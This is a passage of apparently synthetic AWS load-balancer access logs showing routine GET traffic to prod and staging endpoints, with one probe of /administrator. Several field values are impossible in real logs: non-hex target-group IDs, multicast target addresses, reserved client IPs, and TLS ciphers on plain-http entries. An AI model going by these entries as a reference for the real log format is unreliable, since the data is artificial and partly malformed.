arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfec-70fe125f657448c790ecfcc2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:12.825675Z "forward" "-" "-" "10.0.136.6:443" "301" "-" "-" -https 2024-11-01T02:52:13.295887Z prod-api-alb 242.62.140.236:52384 10.0.118.213:443 0.095869 0.422477 0.098400 200 200 677 13322 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfed-85c9a6f55906402b9a4c8fc1" "prod-api-alb.example.com" "-" 9 2024-11-01T02:52:13.295887Z "forward" "-" "-" "10.0.118.213:443" "200" "-" "-" -https 2024-11-01T02:52:13.477341Z prod-api-alb 65.107.119.214:56088 10.0.58.169:443 0.097243 0.312242 0.020086 200 200 953 6469 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfed-1dafe42729924abaaaf15884" "prod-api-alb.example.com" "-" 9 2024-11-01T02:52:13.477341Z "forward" "-" "-" "10.0.58.169:443" "200" "-" "-" -https 2024-11-01T02:52:15.019413Z prod-api-alb 247.4.191.204:51198 10.0.218.187:443 0.034588 0.348845 0.011861 404 404 942 4290 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfef-2fc09d66c4a742bb9d4196b3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:15.019413Z "forward" "-" "-" "10.0.218.187:443" "404" "-" "-" -http 2024-11-01T02:52:16.746082Z staging-alb 193.27.228.197:16480 216.97.103.162:80 0.110698 0.650113 0.014105 301 301 527 8974 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff0-640b786eb72149798b17fdb5" "-" "-" 1 2024-11-01T02:52:16.746082Z "forward" "-" "-" "216.97.103.162:80" "301" "-" "-" -https 2024-11-01T02:52:17.618590Z prod-api-alb 102.215.150.122:14004 10.0.91.121:443 0.001168 0.318426 0.008635 200 200 516 7100 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dff1-a980849420184488ad953c29" "prod-api-alb.example.com" "-" 7 2024-11-01T02:52:17.618590Z "forward" "-" "-" "10.0.91.121:443" "200" "-" "-" -https 2024-11-01T02:52:19.294380Z prod-api-alb 6.104.105.26:55048 10.0.35.61:443 0.006018 0.199197 0.011507 200 200 536 3646 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dff3-a2ea3573d11a4401a69917e7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:52:19.294380Z "forward" "-" "-" "10.0.35.61:443" "200" "-" "-" -http 2024-11-01T02:52:19.768650Z staging-alb 214.35.13.174:27479 80.145.110.127:8080 0.078983 0.566980 0.088751 200 200 78 9150 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff3-bb18e68a8b1c4a8b899609a4" "staging-alb.example.com" "-" 2 2024-11-01T02:52:19.768650Z "forward" "-" "-" "80.145.110.127:8080" "200" "-" "-" -https 2024-11-01T02:52:19.984267Z prod-web-alb 23.154.15.206:62014 10.0.4.32:443 0.074583 0.378296 0.086203 404 404 536 9322 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dff3-7c62f2a93be040eaa25dd7e1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:52:19.984267Z "forward" "-" "-" "10.0.4.32:443" "404" "-" "-" -http 2024-11-01T02:52:20.093552Z staging-alb 189.50.3.165:21779 178.118.207.11:80 0.026012 0.410381 0.132039 200 200 794 264 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff4-39d3a1ff867f400f91338024" "staging-alb.example.com" "-" 7 2024-11-01T02:52:20.093552Z "forward" "-" "-" "178.118.207.11:80" "200" "-" "-" -https 2024-11-01T02:52:21.678760Z prod-api-alb 5.32.28.46:49515 10.0.135.140:443 0.009990 0.150222 0.081212 200 200 740 8849 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dff5-83d668b8e7904c6bb4d7a2e6" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:21.678760Z "forward" "-" "-" "10.0.135.140:443" "200" "-" "-" -http 2024-11-01T02:52:22.501999Z staging-alb 180.161.26.211:52523 202.64.185.13:80 0.052275 0.381282 0.014815 200 200 792 7260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dff6-36139b7f0015424ca5645ba8" "staging-alb.example.com" "-" 2 2024-11-01T02:52:22.501999Z "forward" "-" "-" "202.64.185.13:80" "200" "-" "-" -https 2024-11-01T02:52:24.356753Z prod-web-alb 129.165.196.48:50153 10.0.26.191:443 0.035949 0.025482 0.032091 302 302 358 10982 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dff8-0f03aca99fdb4c61a33fe4c1" "prod-web-alb.example.com" "-" 7 2024-11-01T02:52:24.356753Z "forward" "-" "-" "10.0.26.191:443" "302" "-" "-" -https 2024-11-01T02:52:25.780720Z prod-api-alb 247.205.233.210:29814 10.0.98.11:443 0.013876 0.437325 0.060109 302 302 597 10879 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dff9-fe8e4fa0a6db440db05481aa" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:25.780720Z "forward" "-" "-" "10.0.98.11:443" "302" "-" "-" -https 2024-11-01T02:52:25.896888Z staging-alb 109.206.93.33:42839 171.116.10.86:8080 0.083980 0.337059 0.000925 200 200 713 11891 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dff9-18748251f1644f87b585b5d2" "staging-alb.example.com" "-" 5 2024-11-01T02:52:25.896888Z "forward" "-" "-" "171.116.10.86:8080" "200" "-" "-" -https 2024-11-01T02:52:26.176817Z prod-api-alb 75.142.50.132:19614 10.0.204.70:443 0.054991 0.317331 0.085692 200 200 146 10108 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffa-d399f51aeb9141a686515145" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:26.176817Z "forward" "-" "-" "10.0.204.70:443" "200" "-" "-" -https 2024-11-01T02:52:27.422953Z prod-api-alb 184.38.147.246:50011 10.0.83.73:443 0.020857 0.074865 0.083060 200 200 432 6421 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffb-6ba3012d5dbf441bbe7072c3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:27.422953Z "forward" "-" "-" "10.0.83.73:443" "200" "-" "-" -http 2024-11-01T02:52:29.151718Z staging-alb 74.190.176.79:54756 69.252.241.170:443 0.098431 0.365265 0.109048 200 200 335 12683 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dffd-11b2d5c563f948d5ad7ee97d" "staging-alb.example.com" "-" 0 2024-11-01T02:52:29.151718Z "forward" "-" "-" "69.252.241.170:443" "200" "-" "-" -https 2024-11-01T02:52:30.269258Z prod-api-alb 171.24.16.197:61267 10.0.93.187:443 0.099056 0.277230 0.071938 302 302 467 14346 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffe-df520f566fc940cbadf222e6" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:30.269258Z "forward" "-" "-" "10.0.93.187:443" "302" "-" "-" -http 2024-11-01T02:52:31.265737Z staging-alb 38.190.68.222:33886 128.51.54.229:80 0.092566 0.272730 0.129868 302 302 649 6874 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfff-45923946fb25454b9a2e5b99" "staging-alb.example.com" "-" 3 2024-11-01T02:52:31.265737Z "forward" "-" "-" "128.51.54.229:80" "302" "-" "-" -https 2024-11-01T02:52:31.664793Z staging-alb 101.129.171.129:62345 70.106.108.103:80 0.058559 0.194565 0.113781 404 404 621 7910 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfff-753e4c2959b148eda19905f1" "staging-alb.example.com" "-" 10 2024-11-01T02:52:31.664793Z "forward" "-" "-" "70.106.108.103:80" "404" "-" "-" -https 2024-11-01T02:52:33.122080Z staging-alb 238.198.77.185:62660 221.0.42.128:443 0.014755 0.529637 0.086850 200 200 71 4339 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e001-52a22ad964824ecd80b73cf3" "staging-alb.example.com" "-" 4 2024-11-01T02:52:33.122080Z "forward" "-" "-" "221.0.42.128:443" "200" "-" "-" -https 2024-11-01T02:52:33.537058Z prod-web-alb 124.163.89.83:37399 10.0.255.253:443 0.028996 0.271917 0.086574 302 302 570 6482 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e001-4ea40df7af064cab912157c9" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:33.537058Z "forward" "-" "-" "10.0.255.253:443" "302" "-" "-" -https 2024-11-01T02:52:35.210761Z prod-web-alb 201.122.178.135:55352 10.0.57.17:443 0.024462 0.307871 0.088902 301 301 853 13204 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e003-f271a14b1a914d48815e50e5" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:35.210761Z "forward" "-" "-" "10.0.57.17:443" "301" "-" "-" -http 2024-11-01T02:52:37.023362Z staging-alb 201.231.245.183:61425 235.141.5.151:8080 0.045036 0.574250 0.110721 200 200 27 13700 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e005-8fccf748c7ac4859acd5569b" "staging-alb.example.com" "-" 4 2024-11-01T02:52:37.023362Z "forward" "-" "-" "235.141.5.151:8080" "200" "-" "-" -https 2024-11-01T02:52:37.568059Z prod-web-alb 49.94.106.119:38632 10.0.252.178:443 0.056559 0.288029 0.082060 404 404 553 696 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e005-723c4cb51ce34b28a53b2485" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:37.568059Z "forward" "-" "-" "10.0.252.178:443" "404" "-" "-" -https 2024-11-01T02:52:38.574726Z prod-api-alb 218.216.195.81:10290 10.0.103.133:443 0.074327 0.085715 0.057951 200 200 501 12603 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e006-640c43e75f9c431e826280dd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:52:38.574726Z "forward" "-" "-" "10.0.103.133:443" "200" "-" "-" -https 2024-11-01T02:52:39.200233Z prod-api-alb 17.114.191.150:21193 10.0.155.112:443 0.065876 0.283391 0.024949 404 404 668 4905 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e007-1621e5415c87439eaa8dbb80" "prod-api-alb.example.com" "-" 5 2024-11-01T02:52:39.200233Z "forward" "-" "-" "10.0.155.112:443" "404" "-" "-" -https 2024-11-01T02:52:39.328455Z prod-web-alb 0.248.166.69:62068 10.0.43.235:443 0.024981 0.039882 0.055557 200 200 356 5440 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e007-350ad04dcf224b88997e6a93" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:39.328455Z "forward" "-" "-" "10.0.43.235:443" "200" "-" "-" -https 2024-11-01T02:52:39.702314Z prod-web-alb 145.148.68.57:58439 10.0.106.2:443 0.098011 0.126054 0.009934 200 200 28 6612 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e007-189dc3dafad048c6abb413db" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:39.702314Z "forward" "-" "-" "10.0.106.2:443" "200" "-" "-" -https 2024-11-01T02:52:40.717166Z prod-api-alb 33.149.107.119:35251 10.0.34.19:443 0.035568 0.339139 0.089350 200 200 805 10034 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e008-5c139fd51f2447ac817186eb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:40.717166Z "forward" "-" "-" "10.0.34.19:443" "200" "-" "-" -https 2024-11-01T02:52:41.745373Z prod-api-alb 5.221.235.119:51042 10.0.64.222:443 0.080000 0.445167 0.085413 200 200 928 14280 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e009-4c9604c836ef46ffb19a4270" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:41.745373Z "forward" "-" "-" "10.0.64.222:443" "200" "-" "-" -https 2024-11-01T02:52:41.927881Z prod-web-alb 161.179.160.92:34466 10.0.240.189:443 0.024790 0.336364 0.086872 200 200 496 10287 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e009-b6ff655c1ba343838c936d6f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:52:41.927881Z "forward" "-" "-" "10.0.240.189:443" "200" "-" "-" -https 2024-11-01T02:52:42.259180Z prod-api-alb 8.154.238.36:28121 10.0.22.98:443 0.068485 0.319047 0.061900 302 302 864 11310 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e00a-a61264c5d01c43feb1e33216" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:42.259180Z "forward" "-" "-" "10.0.22.98:443" "302" "-" "-" -https 2024-11-01T02:52:43.414345Z prod-api-alb 103.124.124.68:23621 10.0.153.197:443 0.049480 0.212361 0.094153 301 301 539 14115 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e00b-75a1a8607d1c42449d04e384" "prod-api-alb.example.com" "-" 4 2024-11-01T02:52:43.414345Z "forward" "-" "-" "10.0.153.197:443" "301" "-" "-" -https 2024-11-01T02:52:43.953590Z prod-web-alb 189.41.89.13:13343 10.0.119.182:443 0.054526 0.070928 0.017073 301 301 697 3956 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00b-4f89feac61dd47819e688c3c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:52:43.953590Z "forward" "-" "-" "10.0.119.182:443" "301" "-" "-" -https 2024-11-01T02:52:44.312941Z prod-web-alb 187.183.175.76:27525 10.0.174.161:443 0.051200 0.450785 0.027487 302 302 896 8215 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00c-6ab9fbdb08b44916853eaf38" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:44.312941Z "forward" "-" "-" "10.0.174.161:443" "302" "-" "-" -https 2024-11-01T02:52:44.724332Z prod-api-alb 120.16.80.220:45551 10.0.103.244:443 0.026516 0.338597 0.039041 200 200 687 1080 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e00c-697d13aa5d404281bf838e6a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:44.724332Z "forward" "-" "-" "10.0.103.244:443" "200" "-" "-" -https 2024-11-01T02:52:46.422971Z prod-api-alb 118.59.173.175:29792 10.0.96.153:443 0.053950 0.444155 0.070250 200 200 196 4841 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e00e-3a5ced517060418aa01bd9d3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:46.422971Z "forward" "-" "-" "10.0.96.153:443" "200" "-" "-" -https 2024-11-01T02:52:47.003749Z prod-web-alb 52.196.145.180:11143 10.0.95.24:443 0.073314 0.196151 0.017360 200 200 570 14331 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00f-4d7223ed1b054302a90cb780" "prod-web-alb.example.com" "-" 3 2024-11-01T02:52:47.003749Z "forward" "-" "-" "10.0.95.24:443" "200" "-" "-" -https 2024-11-01T02:52:47.966234Z prod-web-alb 43.198.154.224:25737 10.0.219.135:443 0.027077 0.391554 0.033594 200 200 427 8242 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e00f-23e76768aa5c48baabbcdae0" "prod-web-alb.example.com" "-" 0 2024-11-01T02:52:47.966234Z "forward" "-" "-" "10.0.219.135:443" "200" "-" "-" -https 2024-11-01T02:52:49.298808Z prod-web-alb 169.134.20.15:22665 10.0.96.150:443 0.047660 0.400042 0.051579 200 200 305 10756 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e011-482e33ca0deb4f15a34b760a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:52:49.298808Z "forward" "-" "-" "10.0.96.150:443" "200" "-" "-" -https 2024-11-01T02:52:49.432871Z staging-alb 20.197.153.164:62421 237.92.198.15:8080 0.007722 0.253756 0.130712 200 200 23 7179 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e011-269907f426fd41cc943e476c" "staging-alb.example.com" "-" 1 2024-11-01T02:52:49.432871Z "forward" "-" "-" "237.92.198.15:8080" "200" "-" "-" -https 2024-11-01T02:52:51.164938Z prod-web-alb 183.99.53.153:63232 10.0.76.210:443 0.020068 0.159086 0.046911 200 200 891 9787 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e013-02693c43593d4a06b86778ef" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:51.164938Z "forward" "-" "-" "10.0.76.210:443" "200" "-" "-" -https 2024-11-01T02:52:53.023043Z staging-alb 28.69.30.162:10857 27.136.176.175:443 0.050552 0.496509 0.055799 200 200 655 2157 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e015-3ea157ba1ddc4a6abcfae902" "staging-alb.example.com" "-" 9 2024-11-01T02:52:53.023043Z "forward" "-" "-" "27.136.176.175:443" "200" "-" "-" -https 2024-11-01T02:52:54.457592Z prod-api-alb 41.164.107.125:54059 10.0.174.22:443 0.069798 0.211039 0.087141 404 404 259 3292 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e016-be664d54439c4e40ba18a5ac" "prod-api-alb.example.com" "-" 1 2024-11-01T02:52:54.457592Z "forward" "-" "-" "10.0.174.22:443" "404" "-" "-" -http 2024-11-01T02:52:55.653481Z staging-alb 52.181.179.170:56808 234.232.209.213:80 0.142240 0.151413 0.082211 301 301 711 2705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e017-6408827b64e548e6aa099f6c" "staging-alb.example.com" "-" 6 2024-11-01T02:52:55.653481Z "forward" "-" "-" "234.232.209.213:80" "301" "-" "-" -https 2024-11-01T02:52:56.016245Z prod-web-alb 1.24.1.116:52634 10.0.225.215:443 0.056207 0.217067 0.021168 200 200 979 10667 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e018-40c6589852ca41678238cdc5" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:56.016245Z "forward" "-" "-" "10.0.225.215:443" "200" "-" "-" -https 2024-11-01T02:52:56.869010Z prod-web-alb 112.48.149.31:23152 10.0.191.235:443 0.019180 0.028281 0.030362 301 301 989 11319 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 